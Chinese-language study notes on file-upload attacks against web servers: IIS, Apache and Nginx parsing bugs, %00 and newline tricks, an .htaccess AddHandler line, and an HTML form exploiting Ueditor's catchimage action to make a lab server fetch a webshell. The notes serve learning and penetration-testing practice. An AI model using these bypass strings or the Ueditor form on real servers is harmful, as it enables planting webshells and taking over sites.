另一个cms使用白名单机制,十分严谨。提示我们可以写代码的时候把后缀名固定住,防止抓包改包修改数据。

别的也有用%00截断(适用于php5.4版本之前)现在php少了,绝大部分是php7,php5少了很多了。

白盒审计三个注意点
·中间件
·编辑器 // 扫目录扫出编辑器,找到版本号,找到漏洞EXP,利用漏洞
·功能代码

文件上传-中间件解析漏洞-编辑器安全

之前的文章,通过ctfshow的二十个关卡的解题来了解文件上传的形式,注意到很多时候文件上传需要配合其他前置条件才能更好的实现。

借助迪总的笔记,然后再做自己的学习感悟。

#中间件文件解析-IIS&Apache&Nginx

-IIS 6 7 文件名 目录名

1、文件名:x.asp;.x.jpg //上传正常图片之后,一般输入路径能看到保存的图片。但是在这个漏洞环境下,修改图片的名字(如上),再次访问地址的时候,会出现解析代码的行为。如果该文件里面写有恶意代码,将会被执行。

2、目录名:x.asp/x.jpg //而目录同样存在风险,如果一个目录的名字,以.asp为例子,在目录里面的jpg文件如果含有基于asp代码写的恶意脚本,也能被解析执行。

3、IIS7.X与Nginx解析漏洞一致

-Apache 换行解析 配置不当

1、换行解析-CVE-2017-15715

其2.4.0~2.4.29版本中存在一个解析漏洞 //上传之后可能会有黑白名单限制。可以考虑使用截断来人绕过检测规则,比如说xxx.jpg%0a

2、配置不当-.htaccess配置不当

AddHandler application/x-httpd-php .php

-Nginx 文件名逻辑 解析漏洞

1、文件名逻辑-CVE-2013-4547

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、解析漏洞-nginx.conf配置不当

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

#Web应用编辑器-Ueditor文件上传安全

<form action=”http://192.168.46.139/net/controller.ashx?action=catchimage” enctype=”multipart/form-data” method=”POST”>

<p>shell addr: <input type=”text” name=”source[]” /></p>

<input type=”submit” value=”Submit” />

</form>

#实例CMS&平台-中间件解析&编辑器引用

1、中间件配置不当导致文件被恶意解析

2、CMS源码引用外部编辑器实现文件上传